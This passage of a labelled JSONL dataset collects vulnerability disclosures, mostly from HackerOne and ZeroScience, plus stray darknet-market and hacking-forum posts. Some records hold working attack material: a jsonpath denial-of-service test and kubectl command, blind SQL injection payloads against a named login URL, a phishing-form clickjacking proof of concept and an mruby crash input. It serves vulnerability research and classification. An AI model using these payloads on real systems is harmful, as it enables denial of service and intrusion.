`client-go`\n\nI think `evalRecursive()` cause of this vulnerability\nfunction pos: client-go/util/jsonpath/jsonpath.go:451\n\n## Component Version:\n\nclient-go:master\n\n## Steps To Reproduce:\ni written a simple fuzz based on go-fuzz, im so lucky to found a crasher.\n\n 1. pull the latest kubernetes code \n\n```\ngit clone https://github.com/kubernetes/kubernetes\n```\n\n 2.change workdir to `kubernetes/staging/src/k8s.io/client-go/util/jsonpath`\n3.copy this poc to disk use `vim` or `cat`, change filename to `crash_tests.go`\n\n```\npackage jsonpath\n\nimport (\n\t\"testing\"\n \t\"bytes\"\n \t\"encoding/json\"\n)\n\ntype jsonpathcrashTest struct {\n name string\n template string\n input interface{}\n}\n\nfunc FuzzParse(test *jsonpathcrashTest, allowMissingKeys bool) error {\n\n j := New(test.name)\n\n j.AllowMissingKeys(allowMissingKeys)\n err := j.Parse(test.template)\n if err != nil {\n return err\n }\n\n buf := new(bytes.Buffer)\n err = j.Execute(buf, test.input)\n if err != nil {\n return err\n }\n\n return err\n}\n\nfunc Fuzz(data []byte) int {\n var input = []byte(`{\n \"kind\": \"List\",\n \"items\":[\n {\n \"kind\":\"None\",\n \"metadata\":{\n \"name\":\"127.0.0.1\",\n \"labels\":{\n \"kubernetes.io/hostname\":\"127.0.0.1\"\n }\n },\n \"status\":{\n \"capacity\":{\"cpu\":\"4\"},\n \"ready\": true,\n \"addresses\":[{\"type\": \"LegacyHostIP\", \"address\":\"127.0.0.1\"}]\n }\n },\n {\n \"kind\":\"None\",\n \"metadata\":{\n \"name\":\"127.0.0.2\",\n \"labels\":{\n \"kubernetes.io/hostname\":\"127.0.0.2\"\n }\n },\n \"status\":{\n \"capacity\":{\"cpu\":\"8\"},\n \"ready\": false,\n \"addresses\":[\n {\"type\": \"LegacyHostIP\", \"address\":\"127.0.0.2\"},\n {\"type\": \"another\", \"address\":\"127.0.0.3\"}\n ]\n }\n }\n ],\n \"users\":[\n {\n \"name\": \"myself\",\n \"user\": {}\n },\n {\n \"name\": \"e2e\",\n \"user\": {\"username\": \"admin\", \"password\": \"secret\"}\n }\n ]\n }`)\n\n var nodesData interface{}\n err := json.Unmarshal(input, &nodesData)\n if err != nil {\n print(err)\n }\n\n fuzzData := string(data)\n\n test := jsonpathcrashTest{name: \"crash\", template: fuzzData, input: nodesData}\n\n err = FuzzParse(&test, false)\n if err != nil {\n return 0\n }\n\n err = FuzzParse(&test, true)\n if err != nil {\n return 0\n }\n\n return 1\n}\n\n\nfunc TestCrash(t *testing.T) {\n\tvar data = []byte(\"{...................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"....................\" +\n\t\"..........51}.\")\n\tFuzz(data)\n}\n\n```\n\n\n\n4.run `go test` command, now we can see the test process use a lot of cpu and memeory\n\n\n{F843537}\n\n5.i found a real case in `kubectl`, if resource (like services pods node) has any record can cause DoS.\n\n```\nkubectl get services -o=jsonpath=\"{.....................................................................................................................................}\"\n```\n\n{F843557}\n\n## Impact\n\nmaybe in some scenes, attacker can cause DoS.\n\neg. cloud components use `client-go` util to process cluster resouce json record.\n\nany other program exec `kubectl` with jsonpath options, and jsonpath params by user control.", "source": "hackerone", "timestamp": "2020-07-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3efbdd773625ed60c881", "text": "Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-03-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "718336636e8fe8122b42", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Arbitrary File Attacks\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2018-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "fa5c3423334a4d1c5d0e", "text": "[Cryptographic Issues - Generic] SSL/TLS Vulnerability at khanacademy.org\n\nCVE - 2011 - 3389\nDescription : \nThe SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a \"BEAST\" attack.\n\nProblem Location : \nhttps://www.khanacademy.org/\n\nMitigation : \nThe Upgrade TLS version on the server to latest stable version\n\nCVE - 2013 - 0169 :\n\nDescription : \nThe TLS protocol 1.1 and 1.2 and the DTLS protocol 1.0 and 1.2, as used in OpenSSL, OpenJDK, PolarSSL, and other products, do not properly consider timing side-channel attacks on a MAC check requirement during the processing of malformed CBC padding, which allows remote attackers to conduct distinguishing attacks and plaintext-recovery attacks via statistical analysis of timing data for crafted packets, aka the \"Lucky Thirteen\" issue.\n\nProblem Location : \nhttps://www.khanacademy.org/\n\nMitigation : \nThe Upgrade TLS version on the server to latest stable version .\n\n\nSweet 32 Attack - CVE-2016-2183, \n\nDescription : \nA flaw was found in the way the DES/3DES cipher was used as part of the TLS/SSL protocol. A man-in-the-middle attacker could use this flaw to recover some plaintext data by capturing large amounts of encrypted traffic between TLS/SSL server and client if the communication used a DES/3DES based ciphersuite.\n\nProblem Location : \nhttps://www.khanacademy.org/\n\nMitigation : \nThe removed DES/3DES from the supported lists of crypto algorithms.\nTLS libraries and applications should limit the length of TLS sessions with a 64-bit cipher.\n\nReferences : \nhttps://sweet32.info/", "source": "hackerone", "timestamp": "2017-02-22", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "7c978f3115c0add6f247", "text": "Legrand BTicino Driver Manager F454 1.0.51 CSRF Change Password Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-05-15", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d8fbaae831bf15c815b3", "text": "[Uncontrolled Resource Consumption] Excessive allocation of memory in tls_get_message_header() (CVE-2016-6307)\n\nA TLS message includes 3 bytes for its length in the header for the message.\nThis would allow for messages up to 16Mb in length. Messages of this length are\nexcessive and OpenSSL includes a check to ensure that a peer is sending\nreasonably sized messages in order to avoid too much memory being consumed to\nservice a connection. A flaw in the logic of version 1.1.0 means that memory for\nthe message is allocated too early, prior to the excessive message length\ncheck. Due to way memory is allocated in OpenSSL this could mean an attacker\ncould force up to 21Mb to be allocated to service a connection. This could lead\nto a Denial of Service through memory exhaustion. However, the excessive message\nlength check still takes place, and this would cause the connection to\nimmediately fail. Assuming that the application calls SSL_free() on the failed\nconneciton in a timely manner then the 21Mb of allocated memory will then be\nimmediately freed again. Therefore the excessive memory allocation will be\ntransitory in nature. This then means that there is only a security impact if:\n\n1) The application does not call SSL_free() in a timely manner in the\nevent that the connection fails\nor\n2) The application is working in a constrained environment where there\nis very little free memory\nor\n3) The attacker initiates multiple connection attempts such that there\nare multiple connections in a state where memory has been allocated for\nthe connection; SSL_free() has not yet been called; and there is\ninsufficient memory to service the multiple requests.\n\nExcept in the instance of (1) above any Denial Of Service is likely to\nbe transitory because as soon as the connection fails the memory is\nsubsequently freed again in the SSL_free() call. However there is an\nincreased risk during this period of application crashes due to the lack\nof memory - which would then mean a more serious Denial of Service.\n\nThis issue does not affect DTLS users.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "700b5d86178f6874e065", "text": "Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-09-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "89302b0798e6e5c03a18", "text": "[Cross-site Scripting (XSS) - Stored] XSS on Report Classic\n\nhi team ... \n\ni found XSS on https://infogram.com/app/#/library \n\n#step\n..\n1- go to https://infogram.com/app/#/library \n2- choose __Report Templates__ . \n3- Use __Report Classic__\n4- click to __edit_data__\n5- payload \n> \n//#\">\n“>\n\n6-execute XSS and which you edit data XSS stared", "source": "hackerone", "timestamp": "2017-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9d44420169d774c3c1a9", "text": "Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2017-03-26", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "16995c35e9756157261f", "text": "[Silk Road 1] Re: WestCoastRX - Official Discussion and Review Thread\n\nI'm a silkroad newbie, and I just placed my first order with WCRX.  Based on the reviews I have seen, I really hope that this will turn into a lasting relationship!  I will post my experience in this thread.Thanks WestCoastRX!", "source": "gayanku", "timestamp": "2012-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ba50019816f779c57283", "text": "> (10-15-2014 01:35 PM)That Vendetta Wrote:\n[►](http://www.hackforums.net/showthread.php?pid=42860260#pid42860260)I would\nbe happy to make this purchase for you. \n \nPm me I'll help you out asap. \n \nP.S - Been approved for ub3r and i've purchased so waiting 48 hours.\n\n \nIf Possible Add My Skype And Ill Send You The Code.", "source": "hackforums", "timestamp": "2014-10-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "235373367eaf2ab0cbd6", "text": "Mango Automation 2.6.0 CSRF Arbitrary SQL Query Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2015-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ce09507f405d7b0b8346", "text": "[Cross-site Scripting (XSS) - Generic] Stored Cross site scripting In developer.zendesk.com\n\nHere is the steps to produce\r\n1. go to https://developer.zendesk.com/account and under account information put payload in \r\norganization filed payload : \">\r\n2. and then save the setting and after that again refresh browser and go to the account information and in the organization filed start typing the payload like \"> (note dont paste) here the form is autocomplete enabled so \r\nits request a call to https://developer.zendesk.com/autocomplete.json?name=\"> \r\nso as we are previously added \"> to organization its saved and its search all organization saved previously so the payload executed \r\nscreenshot attached", "source": "hackerone", "timestamp": "2015-09-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "de8278302434cb34c4f9", "text": "[UI Redressing (Clickjacking)] Improper markup sanitisation in Simplenote Android application.\n\n# Description\n\nThe Simplenote Android application (1.5.6) still allows users to embed fully-fledged forms.\n\n```html\nSign in to Simplenote\n

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\n```\n\n{F246484}\n\nA more convincing proof of concept could consist of hiding the form inside several paragraphs of text which are located in HTML comments. That way the victim is presented with what appears to be a text document in the editor panel and then the paragraphs disappear in the preview window.\n\n```html\nSign in to Simplenote\n\n Channel --> Permission channel owner can assign wether member can post comment or not. Once channel owner selects that channel member can not post even than they can post the comment in channel.\n\n\nSteps To Reproduce:\n\n\n- Step1: user1 `█████` created a channel which is public and under System Console --> Channel --> Permission gives guest and members to post comment.\n\n- Step2: user2 `█████` joined user1 channel `mikefourchannel` (already joined)\n\n- Step3: user2 posted comment `has permission to comment in channel` in `mikefourchannel` and captured the request and send it to repeater (\n\n- Step3: user2 `███████` also created a channel `privilegeescalation` (already done)\n\n- Step4: user1 `█████` and under System Console --> Channel --> Permission guest and members removes right to comment.\n\n- Step5: user2 `████████` now can not post any comment `This channel is read only. Only members with permission can post here`\n\n- Step6: user2 `██████` goes to channel `privilegeescalation` and posted comment and captures the request and used post request which was captured in `Step3`\n\nNote:\nIn video POC at time 0:01:42 user2 commenting when he was having privilege of commenting in channel and there is only that comment `has permission to comment in channel` below there is no other comment now plz go to time 0:04:29 you can see user2 commented `commenting in mike4 channel even no privielge` in user1 channel without proper privileges\n\nVideo POC attached for your reference.\n\nResult:\n\nuser2 `███` posted comment in user1 channel `mikefourchannel` even user2 dosen't have privilege to do so.\n\n## Impact\n\nImpact:\n\nPrivilege escalation leading to comment on channel.", "source": "hackerone", "timestamp": "2021-09-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "288b17cf968b5a4dca1c", "text": "[Improper Authentication - Generic] Password reset link remains valid after email change\n\nHey!\nI found a token miss configuration flaw in Nextcloud 9.0.50 [Latest version], When we reset password for a user a link is sent to the registered email address but incase it remain unused and email is updated by user from control panel then too that old token [reset link] sent at old email address remains valid.\n\nA better explanation\n-\n1- User use reset feature to get reset link [Email : abc@x.com]\n2- User came to know about his old password so remain the link unused and the token not expires \n3- Now User changes his email from control panel [New email : abcd@z.com]\n4- But the old reset still remains valid after email change\n\nIn-case an attacker able to get access to user's old email account he can hack his Nextcloud account too via that link, so expiring the token at email change will be a better practice", "source": "hackerone", "timestamp": "2016-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "74fb48ca37990d657147", "text": "[Memory Corruption - Generic] Heap overflow due to off-by-one when expanding stack\n\nThis program triggers a heap buffer overflow while zeroing a new stack allocation due to an off-by-one while expanding the stack. It doesn't appear to be exploitable and the fix is extremely simple so I didn't try to simplify the failing test case too much:\n\n```ruby\nclass A\nyield ensure 0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g>>=0.g\nend.g>>=g>>=s0>>=e=_=0.g>>=0>p>>=sg>>=0..0>u>>=0..0>a>>=ab|=0..0>r>>=0>e0>>=i>>=0..0>r0>>=a00>ry>>=u0>>=0..0>x>>=0.g>>=0>0|ü|=0..0>r00>>=y>>=t>>=up=sy>>=s00>>=0..0>ug>>=f>>=0>0>>0.g>>=0>a0>>=0.g>>=0>s>>=0..0>0.g>>=0>0.g>>=super\n```\n\nASAN report:\n\n```text\n=================================================================\n==7397==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000017900 at pc 0x0000004ae8ac bp 0x7fff42c9a9d0 sp 0x7fff42c9a180\nWRITE of size 16 at 0x621000017900 thread T0\n #0 0x4ae8ab in __asan_memcpy (/vagrant/bin/mruby+0x4ae8ab)\n #1 0x64b513 in stack_clear /vagrant/src/vm.c:68:15\n #2 0x64b1ea in init_new_stack_space /vagrant/src/vm.c:127:5\n #3 0x617dc0 in stack_extend /vagrant/src/vm.c:174:3\n #4 0x61e214 in mrb_vm_run /vagrant/src/vm.c:770:3\n #5 0x618344 in mrb_run /vagrant/src/vm.c:2481:10\n #6 0x647f5b in ecall /vagrant/src/vm.c:297:3\n #7 0x62f830 in mrb_vm_exec /vagrant/src/vm.c:1561:15\n #8 0x61e2eb in mrb_vm_run /vagrant/src/vm.c:772:10\n #9 0x64a628 in mrb_top_run /vagrant/src/vm.c:2491:12\n #10 0x674229 in mrb_load_exec /vagrant/mrbgems/mruby-compiler/core/parse.y:5755:7\n #11 0x674ec5 in mrb_load_file_cxt /vagrant/mrbgems/mruby-compiler/core/parse.y:5764:10\n #12 0x4f3af5 in main /vagrant/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232:11\n #13 0x7f2d32996f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287\n #14 0x41a505 in _start (/vagrant/bin/mruby+0x41a505)\n\n0x621000017900 is located 0 bytes to the right of 4096-byte region [0x621000016900,0x621000017900)\nallocated by thread T0 here:\n #0 0x4c4c0d in realloc (/vagrant/bin/mruby+0x4c4c0d)\n #1 0x5bfde5 in mrb_default_allocf /vagrant/src/state.c:60:12\n #2 0x550396 in mrb_realloc_simple /vagrant/src/gc.c:201:8\n #3 0x5509e4 in mrb_realloc /vagrant/src/gc.c:215:8\n #4 0x64ade2 in stack_extend_alloc /vagrant/src/vm.c:155:33\n #5 0x617db1 in stack_extend /vagrant/src/vm.c:172:5\n #6 0x61e214 in mrb_vm_run /vagrant/src/vm.c:770:3\n #7 0x618344 in mrb_run /vagrant/src/vm.c:2481:10\n #8 0x647f5b in ecall /vagrant/src/vm.c:297:3\n #9 0x62f830 in mrb_vm_exec /vagrant/src/vm.c:1561:15\n #10 0x61e2eb in mrb_vm_run /vagrant/src/vm.c:772:10\n #11 0x64a628 in mrb_top_run /vagrant/src/vm.c:2491:12\n #12 0x674229 in mrb_load_exec /vagrant/mrbgems/mruby-compiler/core/parse.y:5755:7\n #13 0x674ec5 in mrb_load_file_cxt /vagrant/mrbgems/mruby-compiler/core/parse.y:5764:10\n #14 0x4f3af5 in main /vagrant/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:232:11\n #15 0x7f2d32996f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/vagrant/bin/mruby+0x4ae8ab) in __asan_memcpy\nShadow bytes around the buggy address:\n 0x0c427fffaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c427fffaee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c427fffaef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c427fffaf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n 0x0c427fffaf10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c427fffaf20:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c427fffaf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c427fffaf40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c427fffaf50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c427fffaf60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c427fffaf70: fa f", "source": "hackerone", "timestamp": "2017-02-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5ac7ddd7277ede99acb5", "text": "WordPress Plugin OneSignal 1.17.5 Persistent Cross-Site Scripting\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-07-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ab3194f2fa301fe54230", "text": "SOCA Access Control System 180612 CSRF Add Admin Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2019-05-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "704c37be53e14e5a514a", "text": "[Memory Corruption - Generic] Race condition in workers may cause an exploitable double free by abusing bytearray.compress()\n\nThe issue occurs while sharing a bytearray between two workers. If one worker calls bytearray.compress() while the other uses that bytearray, Flash does not correctly handle the race and may double free the array.\r\n\r\nIdentified as CVE-2015-0312, and reported to Adobe via Chrome VRP:\r\nhttps://helpx.adobe.com/security/products/flash-player/apsb15-03.html\r\n\r\nOriginal report with exploit for Chrome:\r\nhttps://code.google.com/p/chromium/issues/detail?id=436022", "source": "hackerone", "timestamp": "2015-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "528dbdd3df6645688350", "text": "[Improper Authentication - Generic] SPF whitelist of mandrill leads to email forgery\n\nI just sent a forged email to support@hackerone.com that appears to originate from mike.brooks@hackerone.com. I was able to do this because of the following SPF record:\r\n\r\ndig txt hackerone.com\r\nhackerone.com.\t\t299\tIN\tTXT\t\"v=spf1 include:_spf.google.com include:sendgrid.net include:mail.zendesk.com include:spf.mandrillapp.com ~all\"\r\n\r\nUsing my own mandrill account I can send email which appears to originate from hackerone. This is useful in phishing, and this type of vulnerability is news worthy (http://bits.blogs.nytimes.com/2015/04/09/sendgrid-email-breach-was-used-to-attack-coinbase-a-bitcoin-exchange/).\r\n\r\nThe patch is pretty simple. Complete your mandril registration process. This will lock out other mandrill users from sending email that originates from *@hackerone.com.\r\n\r\nLet me know if you need me to send another forged email, or if have any other questions.\r\n\r\nThanks,\r\nMike Brooks from Bishop Fox.", "source": "hackerone", "timestamp": "2015-06-08", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "ee2442008e34ec645bcc", "text": "MyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-12-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6046df6057585046e1d7", "text": "GAzie 5.10 (Login parameter) Multiple Remote Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-02-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7869c26497192f768453", "text": "[Information Disclosure] Information Exposure Through Directory Listing\n\n-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\nAdvisory ID: SYSS-2015-062\nProduct: ownCloud\nManufacturer: ownCloud Inc., Community\nAffected Version(s): ownCloud <= 8.2.1, <= 8.1.4, <= 8.0.9\nTested Version(s): 8.1.1, 8.1.4\nVulnerability Type: Information Exposure Through Directory Listing (CWE-548)\nRisk Level: Medium\nSolution Status: Fixed\nManufacturer Notification: 2015-07-17\nSolution Date: 2015-12-23\nPublic Disclosure: 2016-01-05\nCVE Reference: CVE-2016-1499\nAuthor of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)\n\n\nOverview:\n========\n\nownCloud is a software suite for creating and using file hosting\nservices.\n\nThe ownCloud Web site describes the software as follows (see [1]):\n\n\"ownCloud is a self-hosted file sync and share server. It provides access \nto your data through a web interface, sync clients or WebDAV while \nproviding a platform to view, sync and share across devices easily — all \nunder your control. ownCloud’s open architecture is extensible via a \nsimple but powerful API for applications and plugins and it works with \nany storage.\"\n\n\nVulnerability Details:\n=================\n\nownCloud is vulnerable to information exposure through directory\nlisting. It is possible with a normal user to get information about\nthe complete directory structure and included files of all users.\nThe 'force' parameter in the script (index.php/apps/files/ajax/scan.php)\ncan easily be manipulated, by setting its value to 'true'.\n\nThis vulnerability can potentially be used for denial-of-service attacks\nif the selected directory is deep enough, because to index many\ndirectories requires high computational effort. In addition, sensitive\ninformation from other users is exposed.\n\n\nProof of Concept (PoC):\n====================\n\nWith the following HTTP GET request, it is possible to see the\ndirectories of other users.\n\n```\nGET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken= HTTP/1.1\nHost: [HOST]\nAccept: text/event-stream\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: [REFERER]\nCookie: [COOKIES]\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\n```\n\nServer response (shortened):\n\nevent: user\ndata: \"[ID]\"\n\nevent: folder\ndata: \"\\/\"\n\nevent: count\ndata: 21\n\nevent: count\ndata: 42\n\nevent: count\ndata: 63\n\nevent: folder\ndata: \"\\/[ID]\"\n\nevent: folder\ndata: \"\\/[ID]\\/cache\"\n\nevent: folder\ndata: \"\\/[ID]6\\/files\"\n\nevent: folder\ndata: \"\\/[ID]\\/files_encryption\"\n\n[...]\n\nevent: folder\ndata: \"\\/[ID]\\/files_encryption\\/keys\\/files\\/[FILENAME].zip\"\n\nevent: folder\ndata: \"\\/[ID]\\/files_encryption\\/keys\\/files\\/[FILENAME].zip\\/OC_DEFAULT_MODULE\"\n\nevent: folder\ndata: \"\\/[ID]\\/files_encryption\\/keys\\/files\\/[FILENAME].pptx\"\n\n[...]\n\n\nSolution:\n========\n\nAccording to information by ownCloud, the described security issue has\nbeen fixed in software releases:\n– ownCloud 8.2.2\n– ownCloud 8.1.5\n– ownCloud 8.0.10\n\nPlease contact the manufacturer for further information or support or \nvisit https://owncloud.org/security/advisory/?id=oc-sa-2016-002.\n\n\nDisclosure Timeline:\n=================\n\n2015-11-17: Vulnerability reported to manufacturer\n2015-12-23: Patch published by manufacturer\n2016-01-05: Public release of security advisory\n\n\nReferences:\n==========\n\n[1] ownCloud, Web Site\n https://owncloud.org/\n[2] SySS Security Advisory SYSS-2015-062\n https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-062.txt\n[3] SySS Responsible Disclosure Policy\n https://www.syss.de/en/news/responsible-disclosure-policy/\n\n\nCredits:\n=======\n\nThis security vulnerability was found by Dr. Erlijn van Genuchten of the\nSySS GmbH.\n\nE-Mail: erlijn.vangenuchten@syss.de\nPublic Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc\nKey ID: 0xBD96FF2A\nKey Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A\n\n\nDisclaimer:\n=========\n\nThe information provided in this security advisory is provided \"as is\" and \nwithout warranty of any kind. Details of this security advisory may be updated \nin order", "source": "hackerone", "timestamp": "2016-01-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "5d61da4456dbe32328bf", "text": "[Improper Authorization] Hacker can bypass 2FA requirement and reporter blacklist through embedded submission form\n\nHi Team,\n\n### Summary:\n\nA program owner can enforce the hackers to setup the two-factor authentication before submitting new reports to their program here: https://hackerone.com/parrot_sec/submission_requirements (see below image)\n\n{F355169}\n\nThe [Parrot Sec](https://hackerone.com/parrot_sec) program has this feature enabled to enforce the hackers to setup `2FA` before submitting reports. I removed my `2FA` to test and it is good that i was block from submitting new reports (see below image)\n\n{F355168}\n\n---\n\n### BYPASS 2FA Requirements using Embedded Submission:\n\nNow i was able to bypass this 2FA setup requirements by using the Parrot Sec program __Embedded Submission Form__.\n\n## Steps to reproduce:\n\n 1. Login to your account and __remove__ your 2FA on your account (if you already setup it)\n 2. Now go to https://hackerone.com/parrot_sec and hit `Submit Report` button, observed that you cannot submit report unless you will enable your 2FA.\n 3. __BYPASS:__ Get the `Embedded Submission` URL on their [policy page](https://hackerone.com/parrot_sec): i get this ->> https://hackerone.com/0a1e1f11-257e-4b46-b949-c7151212ffbb/embedded_submissions/new\n 4. Now submit report using that embedded submission form and you can submit reports without setting-up your 2FA, despite the program __enforce__ the user to setup the 2FA before submitting new reports.\n 5. 2FA requirements successfully bypassed!\n\n## Impact\n\nBypassing the enabled protection/feature of the program.\n\nLet me know if anything else is needed.\n\nRegards\nJapz", "source": "hackerone", "timestamp": "2018-10-31", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "34329890a1d2ff775fb6", "text": "Netlux Antivirus 1.0.1.8 Session Manager Service Privilege Escalation\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-06-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d2bd28adbce0c1e785c0", "text": "[SQL Injection] blind sql on [ https://argocd.upchieve.org/login?return_url=id= ]\n\n## Summary:\n[i have discoverd a blind sql on your site login page which i confirmed using two scenarios to confirm its existance.]\n\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n\nuse the following payloads \nthis one retured a 200 ok response confirming sql vulnerability existance\nid=291751-sleep(5)&hash=f42ffae0449536cfd0419826f3adf136\n\nthis one was blocked confirming the first one is going through and can be weponised\n\n70418291&comment_id=291751-benchmark(1000000000,1-1)&hash=f42ffae0449536cfd0419826f3adf136\n\n\nexample link on how to reproduce [ https://argocd.upchieve.org/login?return_url=id=291751-sleep(5)&hash=f42ffae0449536cfd0419826f3adf136]\n\n\nWhy -sleep(5), -benchmark(1000000000,1-1) payloads were used? I suspected that comment_id was processed as integer and was unescaped in the query so int-sleep(t) is a valid construction whatever the full query is, which doesn't require various quote/parenthesis tests for the quick manual confirmation. I found it also useful when WAF/filters block the quotes.\nThe severity was set to High because I propose Critical only for content injections:)\n\n## Supporting Material/References:\n\n[ https://owasp.org/www-community/attacks/Blind_SQL_Injection ]\n[https://gerbenjavado.com/manual-sql-injection-discovery-tips/]\n\n\n\n## Recommendations for Fixing/Mitigation\n[The only sure way to prevent SQL Injection attacks is input validation and parametrized queries including prepared statements. The application code should never use the input directly. The developer must sanitize all input, not only web form inputs such as login forms.]\n\n## Impact\n\nThe impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.", "source": "hackerone", "timestamp": "2021-07-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "35234a3a3cfef864bd64", "text": "[Silk Road 1] Nmap 6.40 Released! New scripts, new signatures, better performance!\n\nQuoteFrom: Fyodor Date: Mon, 19 Aug 2013 14:50:05 -0700Hi Folks.  It has been a while since the last stable Nmap release, butI'm pleased to release Nmap 6.40 and I think you'll consider it worththe wait!  It includes 14 new NSE scripts, hundreds of new OS andservice detection signatures, a new --lua-exec feature for scriptingNcat, initial support for NSE and version scanning through a chain ofproxies, improved target specification, many performance enhancementsand bug fixes, and much more!  So many improvements, in fact, that oursource code repository recently reached revision number 31337!  Inaddition to our normal developers, this release showcases the effortsof our 3 Google Summer of Code students who have all been doing greatwork since June.  Congratulations George, Jacek, and Yang!Nmap 6.40 source code and binary packages for Linux, Windows, and Macare available for free download from:http://nmap.org/download.htmlIf you find any bugs, please let us know on the Nmap dev list asdescribed at http://nmap.org/book/man-bugs.html.  Here are the mostimportant changes since 6.25:o [Ncat] Added --lua-exec. This feature is basically the equivalent of 'ncat  --sh-exec \"lua \"' and allows you to run Lua scripts with Ncat,  redirecting all stdin and stdout operations to the socket connection. See  http://nmap.org/book/ncat-man-command-options.html [Jacek Wielemborek]o Integrated all of your IPv4 OS fingerprint submissions since January  (1,300 of them). Added 91 fingerprints, bringing the new total to 4,118.  Additions include Linux 3.7, iOS 6.1, OpenBSD 5.3, AIX 7.1, and more.  Many existing fingerprints were improved. Highlights:  http://seclists.org/nmap-dev/2013/q2/519. [David Fifield]o Integrated all of your service/version detection fingerprints submitted  since January (737 of them)! Our signature count jumped by 273 to 8,979.  We still detect 897 